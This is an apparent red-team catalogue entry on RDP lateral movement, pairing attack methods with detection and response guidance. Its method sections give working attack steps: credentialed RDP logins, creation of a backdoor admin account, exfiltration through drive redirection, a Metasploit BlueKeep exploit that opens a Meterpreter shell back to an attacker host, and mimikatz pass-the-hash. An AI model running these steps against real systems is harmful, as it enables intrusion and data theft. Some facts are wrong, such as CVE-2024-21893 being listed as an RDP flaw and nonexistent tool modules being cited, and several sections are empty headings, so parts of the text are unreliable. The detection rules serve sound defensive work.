MCADDF

[LM-REMOTE-003]: Remote Desktop Protocol (RDP)

Metadata

Attribute Details
Technique ID LM-REMOTE-003
MITRE ATT&CK v18.1 T1021.001
Tactic Lateral Movement
Platforms Windows Endpoint
Severity Critical
CVE CVE-2019-0708 (BlueKeep), CVE-2023-21889, CVE-2024-21893
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016-2025, Windows 10/11 (all versions if RDP enabled)
Patched In KB4500331 (BlueKeep mitigation); CVE-2024-21893 unpatched as of Jan 2026
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Remote Desktop Protocol (RDP) is a legitimate Windows remote access mechanism enabling graphical session management over the network. Attackers with valid credentials can establish RDP sessions to compromise systems, execute commands with user/admin privileges, establish persistent access, and laterally move across domains. RDP is particularly dangerous because: (1) It provides full system access, (2) Activity is often legitimized as administrative access, (3) Attackers can interact with the desktop (evade detection), and (4) Modern RDP implementations have known vulnerabilities (CVE-2019-0708 BlueKeep, CVE-2023-21889).

Attack Surface: RDP protocol (TCP 3389, UDP 3389 in newer Windows), RDP Gateway, RDP credentials, CredSSP authentication, Clipboard redirection, Drive/printer redirection (potential exfiltration vectors).

Business Impact: Critical—Full system compromise with legitimate appearance. An attacker establishing RDP access has full control equivalent to local administrator. They can: (1) Execute arbitrary commands, (2) Access all files and data, (3) Install rootkits/backdoors, (4) Create new admin accounts, (5) Exfiltrate data via clipboard/drive redirection, (6) Modify audit logs, and (7) Pivot to other systems without obvious indicators.

Technical Context: RDP sessions are highly visible in Event Logs (Event ID 4624 - logon type 10) if auditing is enabled. However, many organizations accept RDP activity as normal. BlueKeep (CVE-2019-0708) enables pre-authentication RCE on outdated systems. Modern RDP uses encryption (TLS 1.2+) but is vulnerable to credential interception if not properly hardened.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 18.3.1 Disable RDP on non-remote-access systems; enforce NLA
DISA STIG WN10-CC-000315 Enable Network Level Authentication (NLA); restrict RDP access
NIST 800-53 AC-3 (Access Enforcement), SC-7 (Boundary Protection) Restrict RDP to authorized systems; require MFA
GDPR Art. 32 Security of Processing—remote access auditing mandatory
NIS2 Art. 21 Cyber Risk Management—restrict remote access; monitor logons
ISO 27001 A.6.2 (Access to Networks and Network Services) Restrict RDP to essential systems only; enforce MFA
ISO 27005 Risk Scenario: “Unauthorized Remote Access” Detect and contain RDP-based lateral movement

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools Required:


3. DETAILED EXECUTION METHODS

METHOD 1: Legitimate RDP Client (mstsc.exe) - Native Windows

Supported Versions: Server 2016-2025, Windows 10/11

Step 1: Establish RDP Connection with Valid Credentials

Objective: Connect to remote system via native Windows RDP client.

Command (PowerShell):

# Connect via RDP using credentials
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123!

Command (Interactive - Enter credentials at login screen):

# Launch RDP client
mstsc.exe /v:192.168.1.10
# At login screen, enter credentials

Command (RDP Connection File):

# Create RDP connection file
$RDPFile = @"
full address:s:192.168.1.10
username:s:DOMAIN\user
password 51:s:AAAABBBBCCCCDDDDEEEEFFFFGGGG1111
"@
$RDPFile | Out-File "C:\temp\connection.rdp" -Encoding ASCII

# Connect via RDP file
mstsc.exe "C:\temp\connection.rdp"

Expected Output:

[+] RDP Connection Established
[+] Desktop session active on 192.168.1.10
[+] User: DOMAIN\user
[+] Privileges: Standard User (or Admin if escalated)

What This Means:

OpSec & Evasion:

Step 2: Execute Commands via RDP Session

Objective: Execute arbitrary commands with RDP session privileges.

Command (From RDP Desktop):

# Open Command Prompt on RDP desktop
# Click Start → Run → cmd.exe
# Or press Windows+R → type cmd

# Execute whoami
whoami

# Execute ipconfig
ipconfig /all

# Create new admin account (if RDP user is admin)
net user attacker SecurePassword123! /add
net localgroup administrators attacker /add

Expected Output:

C:\Users\user> whoami
domain\user

C:\Users\user> net user attacker SecurePassword123! /add
The command completed successfully.

What This Means:

OpSec & Evasion:

Step 3: Exfiltrate Data via RDP Clipboard/Drive Redirection

Objective: Extract sensitive files from compromised system.

Command (Using RDP Drive Redirection):

# RDP /drive parameter enables local drive access in RDP session
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123! /drive:C,C:
# This mounts local C: drive as "\\?\C:\" within RDP session

# Or create RDP file with drive redirection
$RDPContent = @"
full address:s:192.168.1.10
username:s:DOMAIN\user
drivestoredirect:s:*
"@
$RDPContent | Out-File "connection.rdp"
mstsc.exe connection.rdp

From RDP Desktop:

# Access local drives mounted via RDP
# Navigate to \\tsclient\C to access attacker's C drive
# Or copy files from remote system to local drive via Ctrl+C/Ctrl+V

What This Means:

OpSec & Evasion:


METHOD 2: FreeRDP (Linux-based Lateral Movement)

Supported Versions: Windows Server 2016-2025 (FreeRDP client runs on Linux)

Step 1: Enumerate RDP Services on Target Network

Objective: Identify systems with RDP enabled.

Command (Linux):

# Scan network for RDP port (TCP 3389)
nmap -p 3389 192.168.1.0/24 -v

# Or use Metasploit RDP scanner
msfconsole -q
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.1.0/24
run

Expected Output:

Nmap scan report for 192.168.1.10
Host is up (0.0015s latency).
3389/tcp open ms-wbt-server

Nmap scan report for 192.168.1.11
Host is up (0.0014s latency).
3389/tcp open ms-wbt-server

What This Means:

Step 2: Connect via FreeRDP with Credentials

Objective: Establish RDP session from Linux to Windows system.

Command (Linux):

# Install FreeRDP (Ubuntu/Debian)
sudo apt-get install freerdp2-x11

# Connect to RDP using credentials
xfreerdp /v:192.168.1.10 /u:DOMAIN\\user /p:Password123! /size:1920x1080 /d:DOMAIN

Expected Output:

[07:23:45:123] [RDP] ++ Connected to 192.168.1.10:3389
[07:23:46:456] [RDP] ++ RDP session negotiation successful
[07:23:47:789] [RDP] ++ Session licensed
[RDP Session open in GUI window]

What This Means:

Step 3: Exploit CVE-2019-0708 (BlueKeep) for Unauthenticated RCE

Objective: Achieve remote code execution without credentials on vulnerable systems.

Command (Metasploit - requires vulnerable RDP: Server 2003-2008 R2, or unpatched Server 2012):

msfconsole -q
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.1.100
set LHOST 192.168.1.5
set LPORT 4444
exploit

Expected Output:

[*] Trying target 192.168.1.100 with RDP version 6.1 (Windows Server 2008 R2)
[+] BlueKeep vulnerability confirmed!
[+] Staging payload...
[*] Sending exploit payload (11920 bytes)...
[+] RCE successful; Meterpreter session opened
meterpreter >

What This Means:

OpSec & Evasion:


METHOD 3: RDP Gateway Bypass / Pass-the-Hash via RDP

Supported Versions: Server 2016-2025

Step 1: Use PTH + RDP Gateway to Bypass MFA

Objective: Leverage Pass-the-Hash to gain RDP access without plaintext password.

Command (Using Impacket secretsdump to extract hash, then RDP via Hashcat/John):

# Extract NTLM hash (from compromised system)
python3 /opt/impacket/examples/secretsdump.py LOCAL -outputfile /tmp/hashes

# Use hash for RDP connection via Linux
# Note: RDP itself doesn't support Pass-the-Hash; requires CredSSP modification or Windows-based tools

# Alternative: Use Impacket's rdp module (experimental)
python3 -m impacket.rdp_pth -hashes :HASH 192.168.1.10

Command (Windows-based RDP PTH via modified CredSSP):

# Using mimikatz to perform Pass-the-Hash + RDP
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords  # Extract NTLM hashes
mimikatz # token::run /user:DOMAIN\admin /ntlm:HASH
# Now execute mstsc.exe with elevated token
mstsc.exe /v:192.168.1.10

Expected Output:

[+] NTLM hash authenticated
[+] RDP session established with DOMAIN\admin privileges
[+] Desktop access granted

What This Means:


4. TOOLS & COMMANDS REFERENCE

mstsc.exe (Native Windows RDP Client)

Version: Available on all Windows systems

Usage:

# Basic connection
mstsc.exe /v:192.168.1.10

# With username
mstsc.exe /v:192.168.1.10 /u:user

# With username and password (insecure; credentials visible in command line)
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123!

# Full screen
mstsc.exe /v:192.168.1.10 /f

# Specific resolution
mstsc.exe /v:192.168.1.10 /w:1920 /h:1080

# RDP file
mstsc.exe C:\config.rdp

# Admin mode
mstsc.exe /v:192.168.1.10 /admin

FreeRDP (Cross-Platform RDP Client)

Repository: GitHub - FreeRDP/FreeRDP

Installation (Linux):

# Ubuntu/Debian
sudo apt-get install freerdp2-x11

# CentOS/RHEL
sudo yum install freerdp

# macOS
brew install freerdp

Usage:

# Basic connection
xfreerdp /v:192.168.1.10

# With credentials
xfreerdp /v:192.168.1.10 /u:user /p:password /d:DOMAIN

# With drive redirection (enable clipboard)
xfreerdp /v:192.168.1.10 /u:user /p:password /drive:Linux,/tmp /clipboard

# Fullscreen
xfreerdp /v:192.168.1.10 /f

# Network-level authentication (NLA)
xfreerdp /v:192.168.1.10 /u:user /p:password /nla

rdesktop (Legacy RDP Client)

Installation:

sudo apt-get install rdesktop

Usage:

rdesktop -u user -p password 192.168.1.10
rdesktop -u DOMAIN\\user -p password -g 1920x1080 192.168.1.10

5. WINDOWS EVENT LOG MONITORING

Primary Event IDs:

Event ID Source What It Detects Detection Difficulty
4624 (Logon Type 10) Security RDP logon attempt (successful) Low
4625 Security RDP logon failure Low
4634 Security Session logout Low
5140 Security RDP network logon Medium
4672 Security Special privileges assigned (RDP as admin) Medium
4688 Security Process creation from RDP session Medium
131 (RDP-Tcp) Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational RDP connection attempt Medium
24 (RDP-Tcp) Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational RDP connection established Medium

Manual Configuration Steps (Group Policy - Enable RDP Auditing):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDetailed Tracking
  3. Enable:
    • Audit Logon: Success and Failure
    • Audit Process Creation: Success and Failure
  4. Navigate to Logon/Logoff:
    • Audit Logon: Success and Failure
  5. Run gpupdate /force

Detection Query (Event ID 4624 - RDP Logon):

# Find RDP logons
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=(Get-Date).AddDays(-1)
} | Where-Object { $_.Message -match "10" } | Select-Object TimeCreated, Message | Format-Table
# Logon Type 10 = RDP/RemoteInteractive

Detection Query (Multiple Failed RDP Logons - Brute Force Indicator):

Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4625
    StartTime=(Get-Date).AddHours(-1)
} | Group-Object -Property @{expression={$_.Properties[5].Value}} | Where-Object { $_.Count -gt 5 }
# Groups failed logons by username; >5 attempts in 1 hour indicates brute force

6. MICROSOFT SENTINEL DETECTION

Query 1: Detect RDP Lateral Movement with Multiple Failed Logons

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4625  // Failed logon
| where LogonType == 10  // RDP/RemoteInteractive
| summarize FailedLogonCount=count() by TargetAccount, IpAddress, Computer
| where FailedLogonCount > 5  // Threshold for brute force
| project Computer, TargetAccount, IpAddress, FailedLogonCount
| join kind=inner (
    SecurityEvent
    | where EventID == 4624  // Successful logon
    | where LogonType == 10
    | project Computer, TargetAccount, IpAddress, SuccessfulTime=TimeGenerated
) on Computer, TargetAccount, IpAddress
| where SuccessfulTime > TimeGenerated  // Success after failures
| project Computer, TargetAccount, IpAddress, FailedLogonCount, SuccessfulTime

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: RDP Brute Force Detection
    • Severity: High
  3. Set rule logic Tab:
    • Paste KQL query
    • Run query every: 10 minutes
    • Lookup data: 1 hour
  4. Incident settings Tab:
    • Enable Create incidents
  5. Click Review + create

Query 2: Detect Privileged RDP Access (Admin Logon via RDP)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4624  // Successful logon
| where LogonType == 10  // RDP
| where TargetAccount has_any ("Domain Admins", "Enterprise Admins", "-admin", "Administrator")
| where IpAddress !in ("127.0.0.1", "::1")  // Exclude localhost
| summarize Count=count() by TargetAccount, Computer, IpAddress
| project TargetAccount, Computer, IpAddress, Count

What This Detects:


7. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Config Snippet:

<!-- Detect RDP-related suspicious activity -->
<RuleGroup name="RDP Lateral Movement" groupRelation="or">
  <!-- Detect mstsc.exe with command-line parameters (automation) -->
  <ProcessCreate onmatch="include">
    <Image condition="contains">mstsc.exe</Image>
    <CommandLine condition="contains any">/v:, /u:, /p:</CommandLine>
  </ProcessCreate>

  <!-- Detect RDP service connections from non-standard sources -->
  <NetworkConnect onmatch="include">
    <DestinationPort>3389</DestinationPort>
    <DestinationIp condition="is not">127.0.0.1</DestinationIp>
    <Image condition="contains any">svchost.exe, services.exe</Image>
  </NetworkConnect>

  <!-- Detect FreeRDP/rdesktop execution from Linux/attacker systems -->
  <ProcessCreate onmatch="include">
    <Image condition="contains any">xfreerdp, rdesktop, freerdp</Image>
  </ProcessCreate>

  <!-- Detect RDP session processes (svchost.exe -k termsvcs) -->
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">-k termsvcs</CommandLine>
  </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create sysmon-rdp-config.xml with the config above
  3. Install Sysmon:
    sysmon64.exe -accepteula -i sysmon-rdp-config.xml
    
  4. Verify and collect RDP-related events:
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Message -match "RDP|mstsc"} | Select-Object TimeCreated, Message | Head -20
    

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate System:

    Command (PowerShell):

    # Terminate all RDP sessions
    logoff.exe
       
    # Or disable RDP service
    Stop-Service TermService -Force
    Set-Service TermService -StartupType Disabled
       
    # Disconnect from network
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    

    Manual:

    • Disconnect network cable or disable network adapter
  2. Collect Evidence:

    Command (PowerShell):

    # Export RDP-related event logs
    wevtutil epl Security C:\Evidence\Security.evtx
    wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational C:\Evidence\RDP_RemoteConnectionManager.evtx
    wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational C:\Evidence\RDP_LocalSessionManager.evtx
       
    # Get user accounts
    Get-LocalUser | Export-Csv C:\Evidence\LocalUsers.csv
       
    # Get RDP registry key
    Get-Item -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" | Export-Csv C:\Evidence\RDP_Registry.csv
    
  3. Remediate:

    Command (PowerShell):

    # Reset RDP port to default
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "PortNumber" -Value 3389
       
    # Force reset administrator password
    Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "NewSecurePassword!" -AsPlainText -Force) -Reset
       
    # Remove suspicious user accounts
    Remove-LocalUser -Name "attacker" -Force -ErrorAction SilentlyContinue
       
    # Re-enable RDP service (if needed)
    Set-Service TermService -StartupType Automatic
    Start-Service TermService
       
    # Apply patches (CVE-2019-0708, etc.)
    # Download and install latest security patches
    
  4. Long-Term Remediation:

    • Deploy RDP Gateway for all future RDP access
    • Implement MFA for administrative accounts
    • Enable RDP auditing organization-wide
    • Restrict RDP to specific authorized systems
    • Enforce Network Level Authentication (NLA)
    • Update systems to Server 2019+ (avoid EOL Server 2012/2008 R2)

Step Phase Technique Description
1 Reconnaissance [REC-AD-003] PowerView enumeration Enumerate systems with RDP enabled
2 Credential Access [CA-BRUTE-001] Azure portal password spray Spray credentials for RDP access
3 Lateral Movement [LM-REMOTE-003] RDP Connect via RDP with valid credentials
4 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare RCE Escalate to SYSTEM via CVE-2021-34527
5 Persistence [PERSIST-ACCT-001] AdminSDHolder abuse Maintain access via ACL manipulation

11. REAL-WORLD EXAMPLES

Example 1: Lazarus APT (Watering Hole + RDP Lateral Movement, 2020)

Example 2: CVE-2019-0708 BlueKeep Worm Attempts (2019)

Example 3: FIN7 APT (RDP Gateway Exploitation, 2021)


12. PATCHING & UPDATES REFERENCE

CVE Description Affected Versions Patch
CVE-2019-0708 BlueKeep - Wormable RDP RCE (pre-auth) Server 2003-2008 R2, XP KB4500331
CVE-2023-21889 RDP Remote Code Execution Server 2016-2022 KB5023773
CVE-2024-21893 RDP RCE (Unpatched as of Jan 2026) Server 2019-2025 Patch pending

13. REFERENCES & SOURCES